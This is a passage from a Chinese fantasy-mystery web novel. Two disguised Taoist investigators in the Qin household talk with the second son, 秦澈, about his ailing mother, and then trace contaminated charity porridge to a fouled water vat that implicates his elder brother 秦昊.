是他产生了错觉么?是这么多年,他对娘亲不管是怨恨也好、思念也罢的情绪太过偏激? 可为什么……还有一件让他颇为不安且完全无法自圆其说的巧合出现了——秦澈的名字——为什么他的名字和自己曾经的名字——裴澈——如此相像? 为什么? 为什么……苏且光在走前会跟他说—— “阿澈,去找夫人吧,她在盛京,一直都在等你……” 为什么明明欺骗了他十多年的娘会一直在等他? 为什么…… 他没有故事的倾听者,所以只能将自己捆缚在思绪的螺旋里,一遍又一遍地问着自己这些根本得不到回复、源源不断的问题。可不管怎么样,永远都不会出现答案,他怎么可能安然入睡? 入秋后的天色渐渐降温,夜晚更是如此,在这样空气寒凉的屋子里,他竟出了一身的热汗,汗水在冷风的吹拂下又挥发出贴近他全身的寒气,他微微颤抖着身子,带着不安一起颤抖——他有种非常强烈的不好的预感,但他根本无法抗拒,所以感到窒息。 翌日一大早。 对于失眠这件事,萧喜觉得自己跟朗月有种说不出来的默契感。他们的屋子连在一处,所以只要有其中一个人开门,另一头就必然能听到的动静,朗月刚开门,萧喜就立马从椅子上跳了下来,以极快的速度打开了门。 “早啊,看来,今晚我们又一起没能睡好了,”萧喜一边说着,还一边用指腹轻轻按了按人中上的小胡子,让它们更加自然服帖地待在自己脸上。 朗月阴郁的心情在看到萧喜后就散了不少,他淡淡颔首应了她:“进屋说吧,以免隔墙有耳。” 毕竟他们已经打入了敌人内部,所以做事情总要比之前谨慎周密许多,朗月刚合上门板子,就用萧喜事先准备好的符咒贴了上去,如此在一定时间内,他们说的任何话都不会被屋子外的东西听到。 “昨晚,我本想趁夜打探一番秦府内部的情况,但想了想,还是觉得有些轻举妄动,太危险了。毕竟,在沧淩城苏府祠堂那几次,我们做足了准备都吃能亏成那样。然后我就好生待在屋子里,不想打草惊蛇,用各种术法静静察觉周围所有的动静,本以为会有用,但没想到,这儿是蚊子嗡嗡的声音都听不到啊。” 萧喜这是汲取了之前在沧淩城陈府半夜惊觉的经验,才想着有备无患,搞出了这些动作。 朗月微微挑眉,失笑道:“所以你就这样听了一整晚?” 萧喜也笑,随即摇头,无奈地自嘲道:“那你真是高看我的定力了。那当然是不可能的事情。我是折腾了几个时辰后,到了半夜忽然就不想睡了,还想了很多让我觉得烦恼的事情,结果越想越焦虑,越想越没有底气,所以没睡好。” 朗月看着她用笑容掩盖悲伤的模样,虽然心里都清楚那些让她烦恼的事情是什么,但他还是只字不提,配合着她,说道:“我跟你也差不多。” “新的环境,很给人压力。”萧喜笑色全失,皱着眉心,自顾自地抱怨着。 由于他们起床的时间实在太过早,像盛京城这样的大户人家不到概定的时辰是绝对不会轻易出门走动的——那样显得太没规矩,对初来乍到又不愿打草惊蛇的他们二人来说,现在实在没有什么理由好出门瞎窜。 首先秦府是块既大又陌生的地方,搞不好容易迷路。其次,这个点他们也根本接触不到想要的关键人物——秦大将军和秦二公子。 所以,有这个时间,不如先静下心来,好好准备开泰前的时宜。 他们在屋子里商量补充了很多接下来行动的步骤和细节,确保在仅仅一天的时间内,就摸清楚秦府的地势分布和各人脾性。 这段时间过去后,天色终于亮了几分,小厮和丫头们终于出来舀水清扫庭院了,不久后,秦府的大人物才慢慢出门。 萧喜和朗月掐着点踏出屋子,刚巧在出院的亭廊处的拐角,碰上了那眼熟好认的秦二公子。 朗月的表现虽然没有再像昨晚那样太过僵硬明显,但他也绝对做不到撇清长夜里的纷乱思绪,他选择了垂眸沉默,冷冷的气质包裹着他,连站在他身前的萧喜都不由忽觉背后掀起一阵凉风,哆嗦了两下。 秦二公子看见他们,倒是无意闪躲,而是热情地拐步过来,当面同萧喜和朗月他们打招呼,神色温和,语气善意明显:“二位道长昨夜可睡得安稳?若有其他的需求,大可来同我讲,我定会全力配合。” 说罢,他微微侧身,抛了抛袖子,像萧喜展示了一番跟在他身后的两队小厮和侍女,这些人各个手上都没闲着,要么捧着绣着锦绣罗织的枕被,要么端着摆满珍馐锦糕的餐盒,要么抱着折叠整齐且用全新上好衣料织成的长衫……可谓是一应俱全。 “啊……没,没没什么。” 面对这么大的阵仗,一向善于应酬的萧喜反倒尴尬了起来,她眼神飘忽了一阵,才想到一个正当的话题可以扯过来:“对了,秦二公子您也起这么早啊,方才见您步伐匆匆,是要去做什么事情么?” 秦澈慢慢放下作揖的手,站直身姿,笑容和缓,口吻客气甚至还抱有歉意地说道:“我正要去给我母亲请安,心中急切,却不想叫二位见了自己的丑象。” 萧喜没有想到秦澈这么快就主动向他们提供了线索关键词,刚刚,她还跟朗月千方百计猜想着,要怎样在各种不同场面下,叫对方主动引入主旨,好让他们顺着往下捕捉自己想要的讯息。 她一时兴头大盛,紧跟其后说道:“久闻秦二公子的名声,您可是这盛京城最富有盛名的大孝子呢!南城门施粥这样的善事您可是花了不少心力吧,听闻公子在好几年前就想着在诞辰临近的日子行善事,为病弱的母亲祈福呢!” 秦澈只是忧神地摆了摆脑袋,嘴角的笑意苦涩:“萧公子过奖了,虽然我的确从我母亲病重开始,年年为她行善祈福,但年复一年,母亲的病并无任何好转,身子骨反而一日不如一日了。佛祖这是嫌我的诚心不足呢,我又怎敢以孝子自居?” “那,夫人如今情况怎么说?”萧喜用极为关切的口吻说道。 秦澈倒是对萧喜暗含打探的口吻毫无察觉,他乖乖应答:“母亲的身子骨弱,从前只是不能出门,如今却是憔悴地连白日里的光都见不得。你也是知道的,人没了光照,精神又怎么能好?母亲这些年来,精神也愈渐恍惚,有时候连我和父亲都分不清。我便日日去她那里请安,希望她能记起来我的模样。” 秦澈的语气真挚,萧喜听了也不免心情垂落,她刚要出言一些安慰的话,却不想在此时,朗月却忽然冒出了一句不合时宜的话。 “我想去见见夫人,”他的话声线低沉,如若不花十二分的心思去仔细听探,是绝对不会发现 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秦澈闻言,眼睛登时一亮,神情毫无介色:“如此说的话,二位会不会真的有什么奇特的医术可以救救我母亲?” 这倒是萧喜没有想到的点子,但却脱口于对方之言,怪异却协调的矛盾感让她一时僵住,她总觉得,事情到这里进展地未免太过顺利了,连外人都如此给力。 可她说到底根本说不清那所谓的怪异感是从何处而来,或许,就是因为事情的进展让她太过诧异吧。 虽然,秦府主母原本不再萧喜和朗月的线索计划里,但在现在大局未定的情况下,少一事不如多一事,说不准能从这位夫人那边旁敲侧击些什么事情呢。 萧喜被莫名点了一通,又想到以后不用再多费口舌和心机导出秦府主母这条线索,于是很快欣喜道:“我与朗月二人虽然不是江湖上非常有名的道士,但医术还是懂得一二江湖偏方的,说不准还真有用呢!” 她沉吟半晌,佯装苦心思考的模样,继续道:“只是……不知秦二公子何时能给我们这个时间呢?” 秦澈笑了笑,神色温润如旧,亲和力十足,道:“今晚便可。我母亲精神紊乱不定,白日里又受不得阳光,她在与我和父亲这样的亲人相处的时候都容易迷糊,更别提跟二位陌生人了,所以,我不得不将时间安排到晚上,还请二位道长不要怪罪。” “自然不会,”萧喜立马道。 秦澈侧身过去,临走前还不忘打招呼,道:“时辰不早了,母亲等我该等地急了,我便不能再与二位相谈了,实在是抱歉。不过,我会提前将二位要见我母亲的事情好好跟母亲说说,好叫她对你们不要抗拒。” “多谢二公子,”萧喜作揖道,“但……今日,对于南城门粥水一事,秦二公子貌似并无去意。” 秦澈眸光垂落,伤色讨人怜惜:“我如今谣言绕身,已然不敢再去了。但我怜惜那些穷苦百姓的处境,也顾虑在诞辰之前不能为母亲积攒下善德,所以那边的事情没有停下,而是交付给了父亲和我在府内的几位心腹了。 我虽心急心忧,却无能为力,所以,还请二位道长为我讨回一个公道。如此,我才肯放心再行善事,再为母亲积攒善德。” 说罢,他又是一个深深地鞠躬,朝萧喜和朗月他们行了个大礼。 “使不得,使不得!放心吧,我们定会帮您讨回个说法!”萧喜脑子一热,就囫囵开口,完全忘记了那粥水本就有问题的事实。 此时,站在萧喜身后一直默不开口的朗月,情不自禁地抬起无力的手臂,扶额捏住止不住跳动的眉心。 这个萧喜,又把事情搞棘手了! 167. 初入死局 秦澈在完全别过萧喜和朗月后,愁容顿时消失,转而,他的嘴角扯出一个意味不明的笑,阴郁而邪气。 萧喜还有些没回神,最后还是朗月的声音把她的注意力重新吸引了回去。 朗月神情略苦,语气尽力保持平稳:“萧喜,其实……我们的时间本就不多。” “啊?”萧喜还有些懵。 “秦澈的经历让你心软了,所以让你一时忘记了那粥水本就有问题的事实。我们打着驱散邪气和捉拿罪魁祸首的旗号进入秦府,我们其实可以通过解决问题严重的粥水,来了却这些借口,可你方才那番话,自断后路,选择不明面上否认粥水的问题,而是以维护秦二公子的名声为主要目的,并解决粥水的问题。” “我们可能要走捉拿罪魁祸首那条路,但你要知道,秦府给我们的时间不多,而所谓的罪魁祸首我们心里都清楚是谁,诞辰之前,我们不可能抓到刹摩。”朗月解释道。 “我……”萧喜显然被朗月郑重其事的模样吓住了,但她还是尽量保持冷静,道,“可……反正我们一开始就打着这个旗号进府的啊,就算现在又承担了一遍同样的责任,有什么区别吗?” “不一样,”朗月道,“最开始,维护秦二公子的名声并不在我们的行事方案里,但,现在却作为人情中的一环,成为了难以跨越的难事。” “人情?”萧喜不解。 “嗯。你没发现么?秦二公子现在给你抛了一条明线,也就是秦府主母那边的线索,但同时,你也顺其自然地应下了对他的承诺。萧喜,你现在扪心自问,为什么刚刚自己会下意识地说出那样的话,还不是因为,你也明白,要想顺利疏通秦二公子那边的线,就必须抓住与他的人情么?” 朗月几个问话抛下,给萧喜带来了恍然大悟的冲击力,她顿时拍了拍手掌,惊叹道:“果真如此!” “而且,虽然秦二公子那边的态度格外友好,但说不准会出岔子,所以要顺利走通他那边的道路,就是用人情换取信任?” 朗月颔首,但又很快叹道:“但你刚刚应该有更好的回话方式,绝非顺着对方话,担下所有责任。” 萧喜有些不高兴了,她睨了他一眼,觉得好笑:“我哪有你这个军师心机深重?要不是某人刚刚忽然石化,哪儿轮得到我这么个没脑子的说话?” “论心机,你也好不到哪里去。”既是调侃,朗月自然也不愿意松下口风。 萧喜干笑两声后,又恢复了正常,她忽道:“哎,对了。你既然对秦二公子这么上心了,是暂时放弃了对他的怀疑了?不然像你这样的家伙哪肯这样费劲心思搞什么人情世故啊?” 朗月心中默默想着,他其实并没有放弃怀疑,而是因为他的注意力被秦澈口中的秦家主母吸引了,所以他冒着风险,抱着私心,也要尽力促成自己去见她一面的事情。 自从他来了盛京城后,并无有多少心安的时刻,他曾经不知自己一个人开导了自己多久,只为让自己尽早摆脱这样的惶惑与心乱。 但他从无成功过。 可是,这一次很特殊,他的预感告诉他,今晚不会普通。 他还没有做好充足的准备面对这些让他恐惧猜疑了十多年的事,怎么可能就这样毫无防备地告诉萧喜呢? 所以,他只是面不改色地胡乱编个违心话:“嗯。眼下看来,秦澈并未任何可疑之处。” “我也是。” 萧喜的回答跟朗月的想法一致,她自然不会再怀疑朗月。 萧喜想到了一个绝妙的念头,便赶忙跟朗月说道:“是了,虽然我刚刚惹上了多余的麻烦,但却绝非是件坏事,因为,它让我注意到了一个差点被我忽视的人。” 朗月从不愚钝,他反应迅速:“秦昊。” “没错,”萧喜满意地打了个响指,继续说出自己的想法,“秦澈暂时没什么问题,但那个自始至终都装隐身的秦昊就不好说了。秦澈想要我们帮他摆脱流言蜚语,我们在不能避开粥水的问题的基础上,就不好把粥水当成靶子,但是,这不代表我们不能转移目标啊?你看,那个秦昊多可疑,自从他大闹南城门后,那里的百姓才遭了难啊。” “你想让秦昊帮秦澈担责?” 朗月又道:“秦昊的问题早在进入秦府之前,我们就谈论过,自然不必多言。” 萧喜叹了一口气。 “这个刹摩的心思虽然难猜,但他这个家伙做事不按常理出牌倒是好发现的。我们一开始,因为不了解情况,且在知道南城门粥水和妖市悬赏令有着相同的作用的情形下,我们对一切都抱有警惕心,秦大公子和秦二公子相比下来,秦二公子这个看起来没有破绽的人反倒让我们更有警惕心。但你有没想过,按刹摩这尿性,他会不会就是利用了我们经历过沧淩城之后的这种警惕心,让我们在秦家两位公子同时出现的情况下,分散我们的注意力?譬如,最让我们警惕的人根本不是要点,反而污点重重、做事毫无章法、看起来最是破绽累累的人才是真正的突破点?” “俗话说,最安全的地方就是最危险的地方嘛!” 萧喜说话时,不免加了些危言耸听的韵味在里头。 朗月并没有被她疑神疑鬼的情绪感染到,但他觉得她的话并非没有道理,他皱了皱眉,道:“秦二公子暂时没有嫌疑,就算有,也绝对不好察觉。我们与其在两方线索上徘徊不定,不如先择最简单清晰的那条线路探索。秦昊患有血疾的几率是非常大的,要是亲眼看到他,就能判断他到底是否身患血疾。倘若不是,再将目标转移到秦二公子身上也不迟。” “你有没有注意到秦二公子诞辰时间上的巧合啊?刚好在五日之限的前一日。”萧喜又道。 “知道。” “这也是刹摩的圈套么?” “我也不知道他到底想做什么……”朗月默住。 秦府的一切不过也是刹摩引他们入圈套的把戏,可他们并没有不入圈套的办法。他们到底是要顺着这唯一可以通行的道路,找到妖力衰竭的源头,再找到刹摩……还是一步步踏入刹摩为他们量身定做的陷阱里,慢慢迷失呢…… 这是个死局。 他心里不详的预感,直接将他从乐观平静的心态拉入悲观焦虑的深渊之中。 “差点忘了,你从昨晚开始就心不在焉了,而且,你好像很在意秦澈和他母亲?”萧喜喊住他。 果然不要妄想完全混过萧喜的眼皮子。 “秦家主母不是害了病么?此事说不定和刹摩有关。”朗月躲过萧喜不依不挠的目光。 这家伙,又着了鬼了。 萧喜微眯了眯眼,似乎是在嘲讽朗月不长记性,忘记了她敏锐到极致的洞察力。 她了解他,他骗人的时候就是喜欢闪躲,往后顺其自然,她定会叫他自己开口告诉她真相的。她没必要挑在现在给自己和对方不痛快。而且,她可是答应过他的,敞开心扉是他自己的事情,他们之间的坦诚相待,根本不需要他将自己的内心完完全全地剖给她看,他只需要告诉她愿意说的事情就够了。 尽管现在,朗月诚如他自己所言,还是做不到。 …… 早晨,他们赶在秦澈的人运送米粮去往南城门施粥点前,找到了秦府存放干粮的仓库,用提前在昨日那碗粥水里提取到的鬼草之气做引,寻找仓库中类似的气息,在一番查探后,他们并没有发现任何可疑之处。 但他们确信,雾香刻意提取出来的鬼草之气不可能有任何问题。所以,鬼草并不是在秦府中就开始作祟的,而只能是在南城门。 这个结果其实是在他们的预料之中的,毕竟,如若鬼草在一开始就被安排在仓库,按道理,秦府内的人也都会遭殃。 并且,南城门流民乞丐们出事的时间是被安排在秦昊闹酒那晚的,与其把作祟的出发点安置在府内,南城门反而更掐点——掐在他们刚好离开鬼市的时间后面。那刹摩是有天大的本事,但也根本没有必要给自己徒添烦恼。 可他们谁也不知道这刹摩会不会真如他们所想,总不按常理出牌,所以为了谨慎起见, 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如此,便可以不费多余的力气,还能让百姓们频频因鬼草遭殃。 除此之外,这也说明了凶手的作案时间距离现在并不长。 那不就是秦昊么…… 朗月垂眼静静看着这只水缸,若有所思起来,他的身高已是男性中颇为出色的存在,可就连他刚刚触摸掌印的时候都吃力得很,差点就要扶不稳水缸。但凶手可不只是触碰缸璧,而是将手掌完完整整地且使了十足的劲按在上面。 朗月自知在保留体面的同时,这样的动作都做不到,凶手难道就做得到么? 他抱着试探的心态,捏紧缸壁,“刷”一下将沉重的大物件移位,将隐藏在阴影的那一面移出——他保留脑中想象出的凶手作案画面,还原起来,最终果然发现了凶手另一只手触碰水缸的痕迹。 他没有想到,这只扶在水缸外壁的掌印居然也是混了草泥的,可见这凶手行事很不谨慎。 外壁的掌印显然比内璧的保留地更加完整更加新鲜些,他在触碰的时刻,嗅到指尖留下的气味——那只被空气流动痕迹冲刷掉一些的、淡淡的烈酒气息。 酒水……果然就是秦昊。 朗月在临走时,还发现了落在移位后原本躲在水缸底部的、一片已经风干了的呕吐污秽之物,他的眉头皱得更紧了。 他用术法将水缸上还残留着的鬼草之气尽数封印,踏出草棚。 “将那只水缸换掉,”他的语气不留一丝人情,冷至冰点,将守在施粥点上的一队卫士吓得不敢动弹。 本来还想着叫嚣“你是个什么东西,不就是个只会弄虚作假的破道士”的卫士,如今顿时变成了缩了脑袋的鹌鹑,畏畏缩缩。 “我会禀告秦将军和秦二公子,让你们即刻领罚。” “为……为何?!”那几只鹌鹑没忍住,焦急问起来。 朗月冷笑一声:“秦大公子闹酒那晚,将污秽呕吐至水缸之中,不谈换掉水缸,你们连清洗都不愿,干脆往其中添水,煮成了粥水给那些流民百姓?你们嫌脏嫌臭,那些流民百姓就不么?你们可知,秦大公子腹内极有可能积蓄邪祟,而你们直接将它们送入百姓口中,他们如何不会患病?” 若非不清洗,那只内壁的掌印为何还留在上面? “呕……呕呕……” 有几个人的回忆被朗月的话一下子拽到了前天,恶心的画面上涌,他们一个没忍住,直接干呕了起来。 还有几个想要装聋作哑的人见他们露了陷,也着急忙慌地踹过去,视若无睹地骂起来:“别吐了!你们这几个没出息的东西!” 朗月嘴角的冷笑越来越凉,他孤身一人走在清晨人迹鲜少的街道上,想着,在盛京,那罪恶多端的刹摩居然会败了阵,比不上人心险恶。 秦昊固然有罪,但倘若这些卫士们带着哪怕一丝的怜悯之心,将水缸清洗,患病的百姓或许就远远没有这么多了。